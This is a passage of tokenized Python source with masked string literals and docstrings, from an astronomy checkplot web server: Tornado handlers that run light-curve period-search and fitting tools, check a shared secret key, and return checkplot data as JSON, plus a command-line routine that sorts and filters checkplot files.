and<EOL>isinstance(tempcpdict[key1], dict)):<EOL><INDENT>if key2 in tempcpdict[key1]:<EOL><INDENT>tempcpdict[key1][key2] = (<EOL>phasedlc<EOL>)<EOL><DEDENT>else:<EOL><INDENT>tempcpdict[key1].update(<EOL>{key2: phasedlc}<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tempcpdict[key1] = {key2: phasedlc}<EOL><DEDENT>savekwargs = {<EOL>'<STR_LIT>':tempfpath,<EOL>'<STR_LIT>':pickle.HIGHEST_PROTOCOL<EOL>}<EOL>savedcpf = yield self.executor.submit(<EOL>_write_checkplot_picklefile,<EOL>tempcpdict,<EOL>**savekwargs<EOL>)<EOL>LOGGER.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, savedcpf)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>fitresults = {<EOL>'<STR_LIT>':phasedlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedlc['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':phasedlc['<STR_LIT>'],<EOL>'<STR_LIT>':phasedlc['<STR_LIT>'],<EOL>'<STR_LIT>':phasedlc['<STR_LIT>'],<EOL>}<EOL>if ('<STR_LIT>' in funcresults['<STR_LIT>'] and<EOL>funcresults['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>fitresults['<STR_LIT>'] = (<EOL>funcresults['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' %<EOL>lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {<EOL>'<STR_LIT>':objectid,<EOL>key1:{<EOL>key2:fitresults<EOL>}<EOL>}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>elif lctool == '<STR_LIT>':<EOL><INDENT>fitmethod, periodind = lctoolargs<EOL><DEDENT>elif lctool == '<STR_LIT>':<EOL><INDENT>if os.path.exists(tempfpath):<EOL><INDENT>os.remove(tempfpath)<EOL>LOGGER.warning('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(tempfpath, cpfpath))<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:success>'<EOL><DEDENT>else:<EOL><INDENT>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>LOGGER.warning('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(tempfpath, cpfpath))<EOL><DEDENT>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>elif lctool == '<STR_LIT>':<EOL><INDENT>target = self.get_argument('<STR_LIT>',None)<EOL>if target is not None:<EOL><INDENT>target = xhtml_escape(target)<EOL>if (target not in CPTOOLMAP or<EOL>target == '<STR_LIT>' or<EOL>target == '<STR_LIT>' or<EOL>target == '<STR_LIT>' or<EOL>target == '<STR_LIT>'):<EOL><INDENT>LOGGER.error(\"<STR_LIT>\" % target)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>\"<STR_LIT>\" % target<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>targetloc = CPTOOLMAP[target]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' % lctool)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' % lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' % self.cpfile)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':\"<STR_LIT>\",<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':'<STR_LIT>',<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>", "docstring": "This handles a GET request to run a specified LC tool.\n\n        Parameters\n        ----------\n\n        cpfile : str\n            This is the checkplot file to run the tool on.\n\n        Returns\n        -------\n\n        str\n            Returns a JSON response.\n\n        Notes\n        -----\n\n        The URI structure is::\n\n            /tools/<cpfile>?[args]\n\n        where args are::\n\n            ?lctool=<lctool>&argkey1=argval1&argkey2=argval2&...\n\n            &forcereload=true <- if this is present, then reload values from\n            original checkplot.\n\n            &objectid=<objectid>\n\n        `lctool` is one of the strings below\n\n        Period search functions::\n\n            psearch-gls: run Lomb-Scargle with given params\n            psearch-bls: run BLS with given params\n            psearch-pdm: run phase dispersion minimization with given params\n            psearch-aov: run analysis-of-variance with given params\n            psearch-mav: run analysis-of-variance (multi-harm) with given params\n            psearch-acf: run ACF period search with given params\n            psearch-win: run spectral window function search with given params\n\n        Arguments recognized by all period-search functions are::\n\n            startp=XX\n            endp=XX\n            magsarefluxes=True|False\n            autofreq=True|False\n            stepsize=XX\n\n        Variability characterization functions::\n\n            var-varfeatures: gets the variability features from the checkplot or\n                             recalculates if they're not present\n\n            var-prewhiten: pre-whitens the light curve with a sinusoidal signal\n\n            var-masksig: masks a given phase location with given width from the\n                         light curve\n\n        Light curve manipulation functions ::\n\n            phasedlc-newplot: make phased LC with new provided period/epoch\n            lcfit-fourier: fit a Fourier function to the phased LC\n            lcfit-spline: fit a spline function to the phased LC\n            lcfit-legendre: fit a Legendre polynomial to the phased LC\n            lcfit-savgol: fit a Savitsky-Golay polynomial to the phased LC\n\n        FIXME: figure out how to cache the results of these functions\n        temporarily and save them back to the checkplot after we click on save\n        in the frontend.\n\n        TODO: look for a checkplot-blah-blah.pkl-cps-processing file in the same\n        place as the usual pickle file. if this exists and is newer than the pkl\n        file, load it instead. Or have a checkplotdict['cpservertemp'] item.", "id": "f14711:c4:m1"}
{"signature": "def post(self, cpfile):", "body": "", "docstring": "This handles a POST request.\n\n        TODO: implement this.\n\n        This will save the results of the previous tool run to the checkplot\n        file and the JSON filelist.\n\n        This is only called when the user explicitly clicks on the 'permanently\n        update checkplot with results' button. If the server is in readonly\n        mode, this has no effect.\n\n        This will copy everything from the '.pkl-cpserver-temp' file to the\n        actual checkplot pickle and then remove that file.", "id": "f14711:c4:m2"}
{"signature": "def initialize(self, executor, secret):", "body": "self.executor = executor<EOL>self.secret = secret<EOL>", "docstring": "This handles initial setup of the `RequestHandler`.", "id": "f14711:c5:m0"}
{"signature": "@gen.coroutine<EOL><INDENT>def get(self):<DEDENT>", "body": "provided_key = self.get_argument('<STR_LIT:key>',default=None)<EOL>if not provided_key:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>retdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':('<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>'<STR_LIT:result>':None,<EOL>'<STR_LIT>':True}<EOL>self.set_status(<NUM_LIT>)<EOL>self.write(retdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>else:<EOL><INDENT>provided_key = xhtml_escape(provided_key)<EOL>if not _time_independent_equals(provided_key,<EOL>self.secret):<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>retdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':('<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>'<STR_LIT:result>':None,<EOL>'<STR_LIT>':True}<EOL>self.set_status(<NUM_LIT>)<EOL>self.write(retdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT><DEDENT>LOGGER.info('<STR_LIT>')<EOL>checkplotfname = self.get_argument('<STR_LIT>', default=None)<EOL>if checkplotfname:<EOL><INDENT>try:<EOL><INDENT>cpfpath = xhtml_escape(<EOL>base64.b64decode(url_unescape(checkplotfname))<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = '<STR_LIT>'<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT:result>':None,<EOL>'<STR_LIT>':True}<EOL>self.set_status(<NUM_LIT>)<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>if not os.path.exists(cpfpath):<EOL><INDENT>msg = \"<STR_LIT>\" % cpfpath<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT:result>':None,<EOL>'<STR_LIT>':True}<EOL>self.set_status(<NUM_LIT>)<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>cpdict = yield self.executor.submit(<EOL>_read_checkplot_picklefile, cpfpath<EOL>)<EOL>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>objectid = cpdict['<STR_LIT>']<EOL>objectinfo = cpdict['<STR_LIT>']<EOL>varinfo = cpdict['<STR_LIT>']<EOL>if '<STR_LIT>' in cpdict:<EOL><INDENT>pfmethods = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>pfmethods = []<EOL>for pfm in PFMETHODS:<EOL><INDENT>if pfm in cpdict:<EOL><INDENT>pfmethods.append(pfm)<EOL><DEDENT><DEDENT><DEDENT>neighbors = []<EOL>if ('<STR_LIT>' in cpdict and<EOL>cpdict['<STR_LIT>'] is not None and<EOL>len(cpdict['<STR_LIT>'])) > <NUM_LIT:0>:<EOL><INDENT>nbrlist = cpdict['<STR_LIT>']<EOL>for nbr in nbrlist:<EOL><INDENT>if '<STR_LIT>' in nbr:<EOL><INDENT>nbrmagdiffs = nbr['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>nbrmagdiffs = None<EOL><DEDENT>if '<STR_LIT>' in nbr:<EOL><INDENT>nbrcolordiffs = nbr['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>nbrcolordiffs = None<EOL><DEDENT>thisnbrdict = {<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbrmagdiffs,<EOL>'<STR_LIT>':nbrcolordiffs<EOL>}<EOL>}<EOL>try:<EOL><INDENT>nbr_magseries = nbr['<STR_LIT>']['<STR_LIT>']<EOL>thisnbrdict['<STR_LIT>'] = nbr_magseries<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (nbr['<STR_LIT>'],<EOL>cpdict['<STR_LIT>'])<EOL>)<EOL><DEDENT>try:<EOL><INDENT>for pfm in pfmethods:<EOL><INDENT>if pfm in nbr:<EOL><INDENT>thisnbrdict[pfm] = {<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>'],<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>'],<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>']<EOL>}<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (nbr['<STR_LIT>'],<EOL>cpdict['<STR_LIT>'])<EOL>)<EOL><DEDENT>neighbors.append(thisnbrdict)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>objectcomments = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectcomments = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>objectxmatch = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectxmatch = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>colormagdiagram = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>colormagdiagram = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>finderchart = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>finderchart = None<EOL><DEDENT>if ('<STR_LIT>' in cpdict and<EOL>isinstance(cpdict['<STR_LIT>'], dict) and<EOL>'<STR_LIT>' in cpdict['<STR_LIT>']):<EOL><INDENT>magseries = cpdict['<STR_LIT>']['<STR_LIT>']<EOL>time0 = cpdict['<STR_LIT>']['<STR_LIT>'].min()<EOL>magseries_ndet = cpdict['<STR_LIT>']['<STR_LIT>'].size<EOL><DEDENT>else:<EOL><INDENT>magseries = None<EOL>time0 = <NUM_LIT:0.0><EOL>magseries_ndet = <NUM_LIT:0><EOL>LOGGER.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if '<STR_LIT:status>' in cpdict:<EOL><INDENT>cpstatus = cpdict['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>cpstatus = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>uifilters = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>uifilters = {'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None}<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT:status>':'<STR_LIT>',<EOL>'<STR_LIT:message>':'<STR_LIT>' % os.path.basename(cpfpath),<EOL>'<STR_LIT>':True,<EOL>'<STR_LIT:result>':{<EOL>'<STR_LIT>':'<STR_LIT>' % time0,<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':objectinfo,<EOL>'<STR_LIT>':colormagdiagram,<EOL>'<STR_LIT>':objectcomments,<EOL>'<STR_LIT>':varinfo,<EOL>'<STR_LIT>':uifilters,<EOL>'<STR_LIT>':neighbors,<EOL>'<STR_LIT>':objectxmatch,<EOL>'<STR_LIT>':finderchart,<EOL>'<STR_LIT>':magseries,<EOL>'<STR_LIT>':magseries_ndet,<EOL>'<STR_LIT>':cpstatus,<EOL>'<STR_LIT>':pfmethods<EOL>}<EOL>}<EOL>for key in pfmethods:<EOL><INDENT>periodogram = cpdict[key]['<STR_LIT>']<EOL>if <NUM_LIT:0> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:0>], dict):<EOL><INDENT>phasedlc0plot = cpdict[key][<NUM_LIT:0>]['<STR_LIT>']<EOL>phasedlc0period = float(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'])<EOL>phasedlc0epoch = float(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc0plot = None<EOL>phasedlc0period = None<EOL>phasedlc0epoch = None<EOL><DEDENT>if (<NUM_LIT:0> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:0>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:0>] and<EOL>isinstance(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc0fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc0fit = None<EOL><DEDENT>if <NUM_LIT:1> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:1>], dict):<EOL><INDENT>phasedlc1plot = cpdict[key][<NUM_LIT:1>]['<STR_LIT>']<EOL>phasedlc1period = float(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'])<EOL>phasedlc1epoch = float(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc1plot = None<EOL>phasedlc1period = None<EOL>phasedlc1epoch = None<EOL><DEDENT>if (<NUM_LIT:1> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:1>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:1>] and<EOL>isinstance(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc1fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc1fit = None<EOL><DEDENT>if <NUM_LIT:2> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:2>], dict):<EOL><INDENT>phasedlc2plot = cpdict[key][<NUM_LIT:2>]['<STR_LIT>']<EOL>phasedlc2period = float(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'])<EOL>phasedlc2epoch = float(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc2plot = None<EOL>phasedlc2period = None<EOL>phasedlc2epoch = None<EOL><DEDENT>if (<NUM_LIT:2> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:2>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:2>] and<EOL>isinstance(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc2fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc2fit = None<EOL><DEDENT>resultdict['<STR_LIT:result>'][key] = {<EOL>'<STR_LIT>':cpdict[key]['<STR_LIT>'],<EOL>'<STR_LIT>':periodogram,<EOL>'<STR_LIT>':cpdict[key]['<STR_LIT>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc0plot,<EOL>'<STR_LIT>':phasedlc0period,<EOL>'<STR_LIT>':phasedlc0epoch,<EOL>'<STR_LIT>':phasedlc0fit,<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc1plot,<EOL>'<STR_LIT>':phasedlc1period,<EOL>'<STR_LIT>':phasedlc1epoch,<EOL>'<STR_LIT>':phasedlc1fit,<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc2plot,<EOL>'<STR_LIT>':phasedlc2period,<EOL>'<STR_LIT>':phasedlc2epoch,<EOL>'<STR_LIT>':phasedlc2fit,<EOL>},<EOL>}<EOL><DEDENT>self.set_header('<STR_LIT:Content-Type>','<STR_LIT>')<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':\"<STR_LIT>\",<EOL>'<STR_LIT>':True,<EOL>'<STR_LIT:result>':None}<EOL>self.status(<NUM_LIT>)<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>", "docstring": "This handles GET requests.\n\n        Returns the requested checkplot pickle's information as JSON.\n\n        Requires a pre-shared secret `key` argument for the operation to\n        complete successfully. This is obtained from a command-line argument.", "id": "f14711:c5:m1"}
{"signature": "def _dict_get(datadict, keylist):", "body": "return reduce(getitem, keylist, datadict)<EOL>", "docstring": "This gets a requested dict key by walking the dict.\n\n    Parameters\n    ----------\n\n    datadict : dict\n        The dict to get the specified key from.\n\n    keylist : list of str\n        This is a list of keys to use to walk the dict and get to the key that\n        is provided as the last element in `keylist`. For example::\n\n            keylist = ['key1','key2','key3']\n\n        will walk `datadict` recursively to get to `datadict[key1][key2][key3]`.\n\n    Returns\n    -------\n\n    object\n        The dict value of the specified key address.", "id": "f14713:m0"}
{"signature": "def checkplot_infokey_worker(task):", "body": "cpf, keys = task<EOL>cpd = _read_checkplot_picklefile(cpf)<EOL>resultkeys = []<EOL>for k in keys:<EOL><INDENT>try:<EOL><INDENT>resultkeys.append(_dict_get(cpd, k))<EOL><DEDENT>except Exception as e:<EOL><INDENT>resultkeys.append(np.nan)<EOL><DEDENT><DEDENT>return resultkeys<EOL>", "docstring": "This gets the required keys from the requested file.\n\n    Parameters\n    ----------\n\n    task : tuple\n        Task is a two element tuple::\n\n        - task[0] is the dict to work on\n\n        - task[1] is a list of lists of str indicating all the key address to\n          extract items from the dict for\n\n    Returns\n    -------\n\n    list\n        This is a list of all of the items at the requested key addresses.", "id": "f14713:m1"}
{"signature": "def main():", "body": "<EOL>aparser = argparse.ArgumentParser(<EOL>epilog=PROGEPILOG,<EOL>description=PROGDESC,<EOL>formatter_class=argparse.RawDescriptionHelpFormatter,<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>choices=['<STR_LIT>','<STR_LIT>'],<EOL>type=str,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>default='<STR_LIT>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=int,<EOL>default=<NUM_LIT>,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=int,<EOL>default=int(CPU_COUNT/<NUM_LIT>),<EOL>help=(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL>args = aparser.parse_args()<EOL>checkplotbasedir = args.cpdir<EOL>fileglob = args.search<EOL>splitout = args.splitout<EOL>outprefix = args.outprefix if args.outprefix else None<EOL>if args.sortby:<EOL><INDENT>sortkey, sortorder = args.sortby.split('<STR_LIT:|>')<EOL>if outprefix is None:<EOL><INDENT>outprefix = args.sortby<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sortkey, sortorder = '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>if args.filterby:<EOL><INDENT>filterkeys, filterconditions = [], []<EOL>for filt in args.filterby:<EOL><INDENT>f = filt.split('<STR_LIT:|>')<EOL>filterkeys.append(f[<NUM_LIT:0>])<EOL>filterconditions.append(f[<NUM_LIT:1>])<EOL><DEDENT>if outprefix is None:<EOL><INDENT>outprefix = '<STR_LIT:->'.join(args.filterby)<EOL><DEDENT>else:<EOL><INDENT>outprefix = '<STR_LIT>' % ('<STR_LIT:->'.join(args.filterby), outprefix)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>filterkeys, filterconditions = None, None<EOL><DEDENT>if args.cptype == '<STR_LIT>':<EOL><INDENT>checkplotext = '<STR_LIT>'<EOL><DEDENT>elif args.cptype == '<STR_LIT>':<EOL><INDENT>checkplotext = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>% args.cptype)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>currdir = os.getcwd()<EOL>checkplotglob = os.path.join(checkplotbasedir,<EOL>'<STR_LIT>' % (fileglob, checkplotext))<EOL>print('<STR_LIT>' % checkplotglob)<EOL>searchresults = glob.glob(checkplotglob)<EOL>if searchresults:<EOL><INDENT>print('<STR_LIT>' %<EOL>(len(searchresults), checkplotbasedir))<EOL>sortdone = False<EOL>filterok = False<EOL>filterstatements = []<EOL>if ((args.cptype == '<STR_LIT>') and<EOL>((sortkey and sortorder) or (filterkeys and filterconditions))):<EOL><INDENT>keystoget = []<EOL>if (sortkey and sortorder):<EOL><INDENT>print('<STR_LIT>' %<EOL>(sortkey, sortorder))<EOL>sortkeys = sortkey.split('<STR_LIT:.>')<EOL>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>sortkeys = [(int(x) if x.isdigit() else x)<EOL>for x in sortkeys]<EOL><DEDENT>else:<EOL><INDENT>sortkeys = [(int(x) if x.isdecimal() else x)<EOL>for x in sortkeys]<EOL><DEDENT>keystoget.append(sortkeys)<EOL><DEDENT>if (filterkeys and filterconditions):<EOL><INDENT>print('<STR_LIT>' %<EOL>(filterkeys, filterconditions))<EOL>for fdk in filterkeys:<EOL><INDENT>fdictkeys = fdk.split('<STR_LIT:.>')<EOL>fdictkeys = [(int(x) if x.isdecimal() else x)<EOL>for x in fdictkeys]<EOL>keystoget.append(fdictkeys)<EOL><DEDENT><DEDENT>print('<STR_LIT>'<EOL>% args.maxkeyworkers)<EOL>pool = mp.Pool(args.maxkeyworkers)<EOL>tasks = [(x, keystoget) for x in searchresults]<EOL>keytargets = pool.map(checkplot_infokey_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>if (len(keystoget) > <NUM_LIT:1> and<EOL>(sortkey and sortorder) and<EOL>(filterkeys and filterconditions)):<EOL><INDENT>sorttargets = [x[<NUM_LIT:0>] for x in keytargets]<EOL>filtertargets = [x[<NUM_LIT:1>:] for x in keytargets]<EOL><DEDENT>elif (len(keystoget) > <NUM_LIT:1> and<EOL>(not (sortkey and sortorder)) and<EOL>(filterkeys and filterconditions)):<EOL><INDENT>sorttargets = None<EOL>filtertargets = keytargets<EOL><DEDENT>elif (len(keystoget) == <NUM_LIT:1> and<EOL>(sortkey and sortorder) and<EOL>(not(filterkeys and filterconditions))):<EOL><INDENT>sorttargets = keytargets<EOL>filtertargets = None<EOL><DEDENT>elif (len(keystoget) == <NUM_LIT:1> and<EOL>(filterkeys and filterconditions) and<EOL>(not(sortkey and sortorder))):<EOL><INDENT>sorttargets = None<EOL>filtertargets = keytargets<EOL><DEDENT>searchresults = np.array(searchresults)<EOL>if sorttargets:<EOL><INDENT>sorttargets = np.ravel(np.array(sorttargets))<EOL>sortind = np.argsort(sorttargets)<EOL>if sortorder == '<STR_LIT>':<EOL><INDENT>sortind = sortind[::-<NUM_LIT:1>]<EOL><DEDENT>searchresults = searchresults[sortind]<EOL>sortdone = True<EOL><DEDENT>if 